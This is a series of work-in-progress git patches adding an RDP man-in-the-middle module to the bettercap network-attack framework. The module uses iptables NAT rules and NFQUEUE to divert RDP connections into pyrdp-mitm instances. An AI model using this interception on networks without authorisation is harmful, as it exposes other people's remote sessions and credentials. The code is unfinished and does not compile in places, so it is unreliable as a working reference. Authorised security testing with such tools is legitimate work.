From a29babaf3d7e27c88e9ad45d2e2f9ecdcb726f5d Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Fri, 12 Apr 2019 15:08:14 -0400 Subject: [PATCH 01/18] wip --- modules/rdp_proxy/packet_proxy_darwin.go | 39 ++++ modules/rdp_proxy/packet_proxy_linux.go | 41 ++++ modules/rdp_proxy/packet_proxy_windows.go | 39 ++++ modules/rdp_proxy/rdp_proxy_linux_amd64.go | 219 +++++++++++++++++++++ 4 files changed, 338 insertions(+) create mode 100644 modules/rdp_proxy/packet_proxy_darwin.go create mode 100644 modules/rdp_proxy/packet_proxy_linux.go create mode 100644 modules/rdp_proxy/packet_proxy_windows.go create mode 100644 modules/rdp_proxy/rdp_proxy_linux_amd64.go diff --git a/modules/rdp_proxy/packet_proxy_darwin.go b/modules/rdp_proxy/packet_proxy_darwin.go new file mode 100644 index 00000000..0e464be0 --- /dev/null +++ b/modules/rdp_proxy/packet_proxy_darwin.go @@ -0,0 +1,39 @@ +package packet_proxy + +import ( + "github.com/bettercap/bettercap/session" +) + +type PacketProxy struct { + session.SessionModule +} + +func NewPacketProxy(s *session.Session) *PacketProxy { + return &PacketProxy{ + SessionModule: session.NewSessionModule("packet.proxy", s), + } +} + +func (mod PacketProxy) Name() string { + return "packet.proxy" +} + +func (mod PacketProxy) Description() string { + return "Not supported on this OS" +} + +func (mod PacketProxy) Author() string { + return "Simone Margaritelli " +} + +func (mod *PacketProxy) Configure() (err error) { + return session.ErrNotSupported +} + +func (mod *PacketProxy) Start() error { + return session.ErrNotSupported +} + +func (mod *PacketProxy) Stop() error { + return session.ErrNotSupported +} diff --git a/modules/rdp_proxy/packet_proxy_linux.go b/modules/rdp_proxy/packet_proxy_linux.go new file mode 100644 index 00000000..c1530699 --- /dev/null +++ b/modules/rdp_proxy/packet_proxy_linux.go @@ -0,0 +1,41 @@ +// +build !amd64 + +package packet_proxy + +import ( + "github.com/bettercap/bettercap/session" +) + +type PacketProxy struct { + session.SessionModule +} + +func NewPacketProxy(s *session.Session) *PacketProxy { + return &PacketProxy{ + SessionModule: session.NewSessionModule("packet.proxy", s), + } +} + +func (mod PacketProxy) Name() string { + return "packet.proxy" +} + +func (mod PacketProxy) Description() string { + return "Not supported on this OS" +} + +func (mod PacketProxy) Author() string { + return "Simone Margaritelli " +} + +func (mod *PacketProxy) Configure() (err error) { + return session.ErrNotSupported +} + +func (mod *PacketProxy) Start() error { + return session.ErrNotSupported +} + +func (mod *PacketProxy) Stop() error { + return session.ErrNotSupported +} diff --git a/modules/rdp_proxy/packet_proxy_windows.go b/modules/rdp_proxy/packet_proxy_windows.go new file mode 100644 index 00000000..0e464be0 --- /dev/null +++ b/modules/rdp_proxy/packet_proxy_windows.go @@ -0,0 +1,39 @@ +package packet_proxy + +import ( + "github.com/bettercap/bettercap/session" +) + +type PacketProxy struct { + session.SessionModule +} + +func NewPacketProxy(s *session.Session) *PacketProxy { + return &PacketProxy{ + SessionModule: session.NewSessionModule("packet.proxy", s), + } +} + +func (mod PacketProxy) Name() string { + return "packet.proxy" +} + +func (mod PacketProxy) Description() string { + return "Not supported on this OS" +} + +func (mod PacketProxy) Author() string { + return "Simone Margaritelli " +} + +func (mod *PacketProxy) Configure() (err error) { + return session.ErrNotSupported +} + +func (mod *PacketProxy) Start() error { + return session.ErrNotSupported +} + +func (mod *PacketProxy) Stop() error { + return session.ErrNotSupported +} diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go new file mode 100644 index 00000000..8c33aeba --- /dev/null +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -0,0 +1,219 @@ +package packet_proxy + +import ( + "fmt" + "io/ioutil" + golog "log" + "plugin" + "strings" + "syscall" + + "github.com/bettercap/bettercap/core" + "github.com/bettercap/bettercap/session" + + "github.com/chifflier/nfqueue-go/nfqueue" + + "github.com/evilsocket/islazy/fs" + "github.com/evilsocket/islazy/tui" +) + +type RdpProxy struct { + session.SessionModule + done chan bool + chainName string + rule string + queue *nfqueue.Queue + queueNum int + queueCb nfqueue.Callback + pluginPath string + plugin *plugin.Plugin +} + +var mod *RdpProxy + +func NewRdpProxy(s *session.Session) *RdpProxy { + mod = &RdpProxy{ + SessionModule: session.NewSessionModule("rdp.proxy", s), + done: make(chan bool), + queue: nil, + queueCb: nil, + queueNum: 0, + chainName: "OUTPUT", + } + + mod.AddHandler(session.NewModuleHandler("rdp.proxy on", "", + "Start the RDP proxy.", + func(args []string) error { + return mod.Start() + })) + + mod.AddHandler(session.NewModuleHandler("rdp.proxy off", "", + "Stop the RDP proxy.", + func(args []string) error { + return mod.Stop() + })) + + mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", + "0", + "NFQUEUE number to bind to.")) + + mod.AddParam(session.NewIntParameter("rdp.proxy.port", + "3389", + "RDP port to intercept." + )) + + // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", + // session.ParamSubnet, + // "", + // "Comma separated list of IP addresses, also supports nmap style IP ranges.")) + + // TODO: Should support comma separated subnets + // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "3389", session.IPv4RangeValidator "RDP port to intercept.")) + + mod.AddParam(session.NewIntParameter("rdp.proxy.start", + "40000", + "", + "Starting port for pyrdp sessionss")) + + mod.AddParam(session.NewStringParameter("rdp.proxy.command", + "pyrdp-mitm", + "The PyRDP base command to launch the man-in-the-middle.")) + + return mod +} + +func (mod RdpProxy) Name() string { + return "rdp.proxy" +} + +func (mod RdpProxy) Description() string { + return "A Linux only module that relies on NFQUEUEs in order to man-in-the-middle RDP sessions." +} + +func (mod RdpProxy) Author() string { + return "Alexandre Beaulieu " +} + +func (mod *RdpProxy) destroyQueue() { + if mod.queue == nil { + return + } + + mod.queue.DestroyQueue() + mod.queue.Close() + mod.queue = nil +} + +func (mod *RdpProxy) runRule(enable bool) (err error) { + action := "-A" + if !enable { + action = "-D" + } + + args := []string{ + action, mod.chainName, + } + + if mod.rule != "" { + rule := strings.Split(mod.rule, " ") + args = append(args, rule...) + } + + args = append(args, []string{ + "-j", "NFQUEUE", + "--queue-num", fmt.Sprintf("%d", mod.queueNum), + "--queue-bypass", + }...) + + mod.Debug("iptables %s", args) + + _, err = core.Exec("iptables", args) + return +} + +func (mod *RdpProxy) Configure() (err error) { + golog.SetOutput(ioutil.Discard) + + mod.destroyQueue() + + if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil { + return + } else if err, mod.chainName = mod.StringParam("packet.proxy.chain"); err != nil { + return + } else if err, mod.rule = mod.StringParam("packet.proxy.rule"); err != nil { + return + } else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil { + return + } + + if mod.pluginPath == "" { + return fmt.Errorf("The parameter %s can not be empty.", tui.Bold("packet.proxy.plugin")) + } else if !fs.Exists(mod.pluginPath) { + return fmt.Errorf("%s does not exist.", mod.pluginPath) + } + + mod.Info("loading packet proxy plugin from %s ...", mod.pluginPath) + + var ok bool + var sym plugin.Symbol + + if mod.plugin, err = plugin.Open(mod.pluginPath); err != nil { + return + } else if sym, err = mod.plugin.Lookup("OnPacket"); err != nil { + return + } else if mod.queueCb, ok = sym.(func(*nfqueue.Payload) int); !ok { + return fmt.Errorf("Symbol OnPacket is not a valid callback function.") + } + + mod.queue = new(nfqueue.Queue) + if err = mod.queue.SetCallback(dummyCallback); err != nil { + return + } else if err = mod.queue.Init(); err != nil { + return + } else if err = mod.queue.Unbind(syscall.AF_INET); err != nil { + return + } else if err = mod.queue.Bind(syscall.AF_INET); err != nil { + return + } else if err = mod.queue.CreateQueue(mod.queueNum); err != nil { + return + } else if err = mod.queue.SetMode(nfqueue.NFQNL_COPY_PACKET); err != nil { + return + } else if err = mod.runRule(true); err != nil { + return + } + + return nil +} + +// we need this because for some reason we can't directly +// pass the symbol loaded from the plugin as a direct +// CGO callback ... ¯\_(ツ)_/¯ +func dummyCallback(payload *nfqueue.Payload) int { + return mod.queueCb(payload) +} + +func (mod *RdpProxy) Start() error { + if mod.Running() { + return session.ErrAlreadyStarted(mod.Name()) + } else if err := mod.Configure(); err != nil { + return err + } + + return mod.SetRunning(true, func() { + mod.Info("started on queue number %d", mod.queueNum) + + defer mod.destroyQueue() + + mod.queue.Loop() + + mod.done <- true + }) +} + +func (mod *RdpProxy) Stop() error { + return mod.SetRunning(false, func() { + mod.queue.StopLoop() + mod.runRule(false) + <-mod.done + }) +} From d4ca144a232865bca4c2831420b541731d4ffec1 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Fri, 12 Apr 2019 15:08:25 -0400 Subject: [PATCH 02/18] wip --- modules/modules.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/modules.go b/modules/modules.go index fed48f25..6a7d00f0 100644 --- a/modules/modules.go +++ b/modules/modules.go @@ -21,6 +21,7 @@ import ( "github.com/bettercap/bettercap/modules/net_recon" "github.com/bettercap/bettercap/modules/net_sniff" "github.com/bettercap/bettercap/modules/packet_proxy" + "github.com/bettercap/bettercap/modules/rdp_proxy" "github.com/bettercap/bettercap/modules/syn_scan" "github.com/bettercap/bettercap/modules/tcp_proxy" "github.com/bettercap/bettercap/modules/ticker" @@ -50,6 +51,7 @@ func LoadModules(sess *session.Session) { sess.Register(mysql_server.NewMySQLServer(sess)) sess.Register(net_sniff.NewSniffer(sess)) sess.Register(packet_proxy.NewPacketProxy(sess)) + sess.Register(rdp_proxy.NewRdpProxy(sess)) sess.Register(net_probe.NewProber(sess)) sess.Register(syn_scan.NewSynScanner(sess)) sess.Register(tcp_proxy.NewTcpProxy(sess)) From 64f16ce418a83ce547c365da31a98a8a26efdc6c Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 15 Apr 2019 08:44:41 -0400 Subject: [PATCH 03/18] wip: rough edges of rdp proxy --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 296 +++++++++++---------- 1 file changed, 150 insertions(+), 146 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 8c33aeba..e9c44a50 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -1,68 +1,74 @@ package packet_proxy import ( - "fmt" - "io/ioutil" - golog "log" - "plugin" - "strings" - "syscall" + "fmt" + "io/ioutil" + golog "log" + "plugin" + "strings" + "syscall" - "github.com/bettercap/bettercap/core" - "github.com/bettercap/bettercap/session" + "github.com/bettercap/bettercap/core" + "github.com/bettercap/bettercap/session" - "github.com/chifflier/nfqueue-go/nfqueue" + "github.com/chifflier/nfqueue-go/nfqueue" - "github.com/evilsocket/islazy/fs" - "github.com/evilsocket/islazy/tui" + "github.com/evilsocket/islazy/fs" + "github.com/evilsocket/islazy/tui" ) type RdpProxy struct { - session.SessionModule - done chan bool - chainName string - rule string - queue *nfqueue.Queue - queueNum int - queueCb nfqueue.Callback - pluginPath string - plugin *plugin.Plugin + session.SessionModule + done chan bool + queue *nfqueue.Queue + queueNum int + queueCb nfqueue.Callback + port int + start_port int + targets net.IPv4[] } var mod *RdpProxy func NewRdpProxy(s *session.Session) *RdpProxy { - mod = &RdpProxy{ - SessionModule: session.NewSessionModule("rdp.proxy", s), - done: make(chan bool), - queue: nil, - queueCb: nil, - queueNum: 0, - chainName: "OUTPUT", - } + mod = &RdpProxy{ + SessionModule: session.NewSessionModule("rdp.proxy", s), + done: make(chan bool), + queue: nil, + queueCb: nil, + port: 0, + start_port: 40000, - mod.AddHandler(session.NewModuleHandler("rdp.proxy on", "", - "Start the RDP proxy.", - func(args []string) error { - return mod.Start() - })) + queueNum: 0, + chainName: "OUTPUT", + } - mod.AddHandler(session.NewModuleHandler("rdp.proxy off", "", - "Stop the RDP proxy.", - func(args []string) error { - return mod.Stop() - })) + mod.AddHandler(session.NewModuleHandler("rdp.proxy on", "", "Start the RDP proxy.", + func(args []string) error { + return mod.Start() + })) - mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", - "0", - "NFQUEUE number to bind to.")) + mod.AddHandler(session.NewModuleHandler("rdp.proxy off", "", "Stop the RDP proxy.", + func(args []string) error { + return mod.Stop() + })) - mod.AddParam(session.NewIntParameter("rdp.proxy.port", - "3389", - "RDP port to intercept." - )) + mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) + mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) - // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", + /* NOTES + * - The RDP port + * - The target source IPs (This can actually be handled by ARP.Spoof) + * - The target destination IPs + * - Starting Port + * - Maximum Instances (future) + * - RDP Command (if not pyrdp-mitm) + * + * FUTURE WORK: + * - Centralized Instance of pyrdp + */ + + // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", // session.ParamSubnet, // "", // "Comma separated list of IP addresses, also supports nmap style IP ranges.")) @@ -70,150 +76,148 @@ func NewRdpProxy(s *session.Session) *RdpProxy { // TODO: Should support comma separated subnets // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "3389", session.IPv4RangeValidator "RDP port to intercept.")) - mod.AddParam(session.NewIntParameter("rdp.proxy.start", - "40000", - "", - "Starting port for pyrdp sessionss")) + mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "", "Starting port for pyrdp sessionss")) + mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm", "The PyRDP base command to launch the man-in-the-middle.")) + mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "", "A comma delimited list of destination IPs or CIDRs to target.")) - mod.AddParam(session.NewStringParameter("rdp.proxy.command", - "pyrdp-mitm", - "The PyRDP base command to launch the man-in-the-middle.")) - - return mod + return mod } func (mod RdpProxy) Name() string { - return "rdp.proxy" + return "rdp.proxy" } func (mod RdpProxy) Description() string { - return "A Linux only module that relies on NFQUEUEs in order to man-in-the-middle RDP sessions." + return "A Linux only module that relies on NFQUEUEs in order to man-in-the-middle RDP sessions." } func (mod RdpProxy) Author() string { - return "Alexandre Beaulieu " + return "Alexandre Beaulieu " } func (mod *RdpProxy) destroyQueue() { - if mod.queue == nil { - return - } + if mod.queue == nil { + return + } - mod.queue.DestroyQueue() - mod.queue.Close() - mod.queue = nil + mod.queue.DestroyQueue() + mod.queue.Close() + mod.queue = nil } func (mod *RdpProxy) runRule(enable bool) (err error) { - action := "-A" - if !enable { - action = "-D" - } + action := "-A" + if !enable { + action = "-D" + } - args := []string{ - action, mod.chainName, - } + args := []string{ + action, mod.chainName, + } - if mod.rule != "" { - rule := strings.Split(mod.rule, " ") - args = append(args, rule...) - } + if mod.rule != "" { + rule := strings.Split(mod.rule, " ") + args = append(args, rule...) + } - args = append(args, []string{ - "-j", "NFQUEUE", - "--queue-num", fmt.Sprintf("%d", mod.queueNum), - "--queue-bypass", - }...) + args = append(args, []string{ + "-j", "NFQUEUE", + "--queue-num", fmt.Sprintf("%d", mod.queueNum), + "--queue-bypass", + }...) - mod.Debug("iptables %s", args) + mod.Debug("iptables %s", args) - _, err = core.Exec("iptables", args) - return + _, err = core.Exec("iptables", args) + return } func (mod *RdpProxy) Configure() (err error) { - golog.SetOutput(ioutil.Discard) + golog.SetOutput(ioutil.Discard) - mod.destroyQueue() + mod.destroyQueue() - if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil { - return - } else if err, mod.chainName = mod.StringParam("packet.proxy.chain"); err != nil { - return - } else if err, mod.rule = mod.StringParam("packet.proxy.rule"); err != nil { - return - } else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil { - return - } + if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil { + return + } else if err, mod.chainName = mod.StringParam("packet.proxy.chain"); err != nil { + return + } else if err, mod.rule = mod.StringParam("packet.proxy.rule"); err != nil { + return + } else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil { + return + } - if mod.pluginPath == "" { - return fmt.Errorf("The parameter %s can not be empty.", tui.Bold("packet.proxy.plugin")) - } else if !fs.Exists(mod.pluginPath) { - return fmt.Errorf("%s does not exist.", mod.pluginPath) - } + if mod.pluginPath == "" { + return fmt.Errorf("The parameter %s can not be empty.", tui.Bold("packet.proxy.plugin")) + } else if !fs.Exists(mod.pluginPath) { + return fmt.Errorf("%s does not exist.", mod.pluginPath) + } - mod.Info("loading packet proxy plugin from %s ...", mod.pluginPath) + mod.Info("loading packet proxy plugin from %s ...", mod.pluginPath) - var ok bool - var sym plugin.Symbol + var ok bool + var sym plugin.Symbol - if mod.plugin, err = plugin.Open(mod.pluginPath); err != nil { - return - } else if sym, err = mod.plugin.Lookup("OnPacket"); err != nil { - return - } else if mod.queueCb, ok = sym.(func(*nfqueue.Payload) int); !ok { - return fmt.Errorf("Symbol OnPacket is not a valid callback function.") - } + if mod.plugin, err = plugin.Open(mod.pluginPath); err != nil { + return + } else if sym, err = mod.plugin.Lookup("OnPacket"); err != nil { + return + } else if mod.queueCb, ok = sym.(func(*nfqueue.Payload) int); !ok { + return fmt.Errorf("Symbol OnPacket is not a valid callback function.") + } - mod.queue = new(nfqueue.Queue) - if err = mod.queue.SetCallback(dummyCallback); err != nil { - return - } else if err = mod.queue.Init(); err != nil { - return - } else if err = mod.queue.Unbind(syscall.AF_INET); err != nil { - return - } else if err = mod.queue.Bind(syscall.AF_INET); err != nil { - return - } else if err = mod.queue.CreateQueue(mod.queueNum); err != nil { - return - } else if err = mod.queue.SetMode(nfqueue.NFQNL_COPY_PACKET); err != nil { - return - } else if err = mod.runRule(true); err != nil { - return - } + mod.queue = new(nfqueue.Queue) + if err = mod.queue.SetCallback(dummyCallback); err != nil { + return + } else if err = mod.queue.Init(); err != nil { + return + } else if err = mod.queue.Unbind(syscall.AF_INET); err != nil { + return + } else if err = mod.queue.Bind(syscall.AF_INET); err != nil { + return + } else if err = mod.queue.CreateQueue(mod.queueNum); err != nil { + return + } else if err = mod.queue.SetMode(nfqueue.NFQNL_COPY_PACKET); err != nil { + return + } else if err = mod.runRule(true); err != nil { + return + } - return nil + return nil } -// we need this because for some reason we can't directly -// pass the symbol loaded from the plugin as a direct -// CGO callback ... ¯\_(ツ)_/¯ +func OnRDPConnection(payload *nfqueue.Payload) int { + log.Info("New Connection: %v", payload) + // TODO: Find a more efficient way to do this. + payload.SetVerdict(nfqueue.NF_DROP) // Force a retransmit to trigger the new firewall rules. + return 0 +} func dummyCallback(payload *nfqueue.Payload) int { - return mod.queueCb(payload) + return mod.queueCb(payload) } func (mod *RdpProxy) Start() error { - if mod.Running() { - return session.ErrAlreadyStarted(mod.Name()) - } else if err := mod.Configure(); err != nil { - return err - } + if mod.Running() { + return session.ErrAlreadyStarted(mod.Name()) + } else if err := mod.Configure(); err != nil { + return err + } - return mod.SetRunning(true, func() { - mod.Info("started on queue number %d", mod.queueNum) + return mod.SetRunning(true, func() { + mod.Info("started on queue number %d", mod.queueNum) - defer mod.destroyQueue() + defer mod.destroyQueue() - mod.queue.Loop() + mod.queue.Loop() - mod.done <- true - }) + mod.done <- true + }) } func (mod *RdpProxy) Stop() error { - return mod.SetRunning(false, func() { - mod.queue.StopLoop() - mod.runRule(false) - <-mod.done - }) + return mod.SetRunning(false, func() { + mod.queue.StopLoop() + mod.runRule(false) + <-mod.done + }) } From bdfbb83e26830f0cfd669ff61c1303b0de9a56ea Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 15 Apr 2019 08:49:40 -0400 Subject: [PATCH 04/18] wip: Fleshed out module params --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 23 +++++++++++----------- 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index e9c44a50..34c332d7 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -22,10 +22,10 @@ type RdpProxy struct { done chan bool queue *nfqueue.Queue queueNum int - queueCb nfqueue.Callback port int start_port int - targets net.IPv4[] + cmd string + targets string // TODO } var mod *RdpProxy @@ -35,12 +35,11 @@ func NewRdpProxy(s *session.Session) *RdpProxy { SessionModule: session.NewSessionModule("rdp.proxy", s), done: make(chan bool), queue: nil, - queueCb: nil, - port: 0, - start_port: 40000, - queueNum: 0, - chainName: "OUTPUT", + port: 0, + startPort: 40000, + cmd: nil, + targets: nil, } mod.AddHandler(session.NewModuleHandler("rdp.proxy on", "", "Start the RDP proxy.", @@ -53,8 +52,11 @@ func NewRdpProxy(s *session.Session) *RdpProxy { return mod.Stop() })) - mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) - mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) + mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) + mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) + mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for pyrdp sessionss")) + mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm", "The PyRDP base command to launch the man-in-the-middle.")) + mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "", "A comma delimited list of destination IPs or CIDRs to target.")) /* NOTES * - The RDP port @@ -76,9 +78,6 @@ func NewRdpProxy(s *session.Session) *RdpProxy { // TODO: Should support comma separated subnets // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "3389", session.IPv4RangeValidator "RDP port to intercept.")) - mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "", "Starting port for pyrdp sessionss")) - mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm", "The PyRDP base command to launch the man-in-the-middle.")) - mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "", "A comma delimited list of destination IPs or CIDRs to target.")) return mod } From da613f9a1693800b5679cb96d0854f93f280926f Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 15 Apr 2019 09:19:34 -0400 Subject: [PATCH 05/18] wip: Adding stub for connection handler. --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 61 +++++++++++++--------- 1 file changed, 36 insertions(+), 25 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 34c332d7..32b32d08 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -12,6 +12,8 @@ import ( "github.com/bettercap/bettercap/session" "github.com/chifflier/nfqueue-go/nfqueue" + "github.com/google/gopacket" + "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/tui" @@ -104,7 +106,18 @@ func (mod *RdpProxy) destroyQueue() { mod.queue = nil } -func (mod *RdpProxy) runRule(enable bool) (err error) { +// Setup the proxy chain +"iptables -t nat -N BCAPRDP" // Create RDP chain +"iptables -t nat -X BCAPRDP" // Delete RDP chain +"iptables -t nat -I 1 PREROUTING -j BCAPRDP" // Go to BCAPRDP immediately before anything else +// Intercept SYNS (TODO: -m conntrack --cstate=new) ? +"iptables -I 1 -p tcp -m tcp --dport 3389 -d 10.0.0.0/24 -j NFQUEUE --queue-num 0 --queue-bypass" + + +// Starts or stops a particular proxy instances. +func (mod *RdpProxy) doProxy(target net.IPv4, enable bool) (err error) { + + // Configure the firewall. action := "-A" if !enable { action = "-D" @@ -132,8 +145,14 @@ func (mod *RdpProxy) runRule(enable bool) (err error) { } func (mod *RdpProxy) Configure() (err error) { + // + // The gist of what this function does is: + // 1. Create a chain in the NAT table called BCAPRDP. + // 2. Add a fallback rule as the first PREROUTING entry that puts all new TCP connections on port `rdp.proxy.port` into an NFQUEUE. + // 3. Add a default PREROUTING rule to jump to BCAPRDP. + // During cleanup, the entire BCAPRDP chain is dropped and all pyrdp instances are terminated + // golog.SetOutput(ioutil.Discard) - mod.destroyQueue() if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil { @@ -146,27 +165,12 @@ func (mod *RdpProxy) Configure() (err error) { return } - if mod.pluginPath == "" { - return fmt.Errorf("The parameter %s can not be empty.", tui.Bold("packet.proxy.plugin")) - } else if !fs.Exists(mod.pluginPath) { - return fmt.Errorf("%s does not exist.", mod.pluginPath) - } - - mod.Info("loading packet proxy plugin from %s ...", mod.pluginPath) - + mod.Info("Starting NFQUEUE handler...") var ok bool - var sym plugin.Symbol - - if mod.plugin, err = plugin.Open(mod.pluginPath); err != nil { - return - } else if sym, err = mod.plugin.Lookup("OnPacket"); err != nil { - return - } else if mod.queueCb, ok = sym.(func(*nfqueue.Payload) int); !ok { - return fmt.Errorf("Symbol OnPacket is not a valid callback function.") - } + // Create the NFQUEUE handler. mod.queue = new(nfqueue.Queue) - if err = mod.queue.SetCallback(dummyCallback); err != nil { + if err = mod.queue.SetCallback(OnRDPConnection); err != nil { return } else if err = mod.queue.Init(); err != nil { return @@ -185,14 +189,21 @@ func (mod *RdpProxy) Configure() (err error) { return nil } -func OnRDPConnection(payload *nfqueue.Payload) int { +func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { log.Info("New Connection: %v", payload) + + // 1. Check if the destination IP already has a PYRDP session active, if so, do nothing. + // 2. Otherwise: + // 2.1. Spawn a PYRDP instance on a fresh port + // 2.2. Add a NAT rule in the firewall for this particular target IP + // Force a retransmit to trigger the new firewall rules. // TODO: Find a more efficient way to do this. - payload.SetVerdict(nfqueue.NF_DROP) // Force a retransmit to trigger the new firewall rules. - return 0 + payload.SetVerdict(nfqueue.NF_DROP) } -func dummyCallback(payload *nfqueue.Payload) int { - return mod.queueCb(payload) + +// NFQUEUE needs a raw function. +func OnRDPConnection(payload *nfqueue.Payload) int { + return mod.handleRdpConnection() } func (mod *RdpProxy) Start() error { From fd193d3f585233b707872c277c66056d4e847c23 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 15 Apr 2019 10:06:50 -0400 Subject: [PATCH 06/18] wip: Note to self: do squash. --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 32b32d08..a525fdb9 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -190,12 +190,15 @@ func (mod *RdpProxy) Configure() (err error) { } func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { - log.Info("New Connection: %v", payload) - // 1. Check if the destination IP already has a PYRDP session active, if so, do nothing. - // 2. Otherwise: - // 2.1. Spawn a PYRDP instance on a fresh port - // 2.2. Add a NAT rule in the firewall for this particular target IP + // 1. Determine source and target addresses. + p := gopacket.NewPacket(payload, layers.LayerTypeEthernet, gopacket.NoCopy) + + log.Info("New Connection: %v", payload) + // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. + // 3. Otherwise: + // 3.1. Spawn a PYRDP instance on a fresh port + // 3.2. Add a NAT rule in the firewall for this particular target IP // Force a retransmit to trigger the new firewall rules. // TODO: Find a more efficient way to do this. payload.SetVerdict(nfqueue.NF_DROP) From c19d483fb47dce5d4b042e2d4dfea0fe2deb6428 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 15 Apr 2019 13:04:21 -0400 Subject: [PATCH 07/18] wip: It builds! --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 83 ++++++++++------------ 1 file changed, 36 insertions(+), 47 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index a525fdb9..0a1d3757 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -1,11 +1,10 @@ -package packet_proxy +package rdp_proxy import ( "fmt" + "net" "io/ioutil" golog "log" - "plugin" - "strings" "syscall" "github.com/bettercap/bettercap/core" @@ -15,8 +14,8 @@ import ( "github.com/google/gopacket" "github.com/google/gopacket/layers" - "github.com/evilsocket/islazy/fs" - "github.com/evilsocket/islazy/tui" + // "github.com/evilsocket/islazy/fs" + // "github.com/evilsocket/islazy/tui" ) type RdpProxy struct { @@ -25,7 +24,7 @@ type RdpProxy struct { queue *nfqueue.Queue queueNum int port int - start_port int + startPort int cmd string targets string // TODO } @@ -40,8 +39,8 @@ func NewRdpProxy(s *session.Session) *RdpProxy { queueNum: 0, port: 0, startPort: 40000, - cmd: nil, - targets: nil, + cmd: "pyrdp-mitm", + targets: "", } mod.AddHandler(session.NewModuleHandler("rdp.proxy on", "", "Start the RDP proxy.", @@ -57,8 +56,8 @@ func NewRdpProxy(s *session.Session) *RdpProxy { mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for pyrdp sessionss")) - mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm", "The PyRDP base command to launch the man-in-the-middle.")) - mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "", "A comma delimited list of destination IPs or CIDRs to target.")) + mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm", "", "The PyRDP base command to 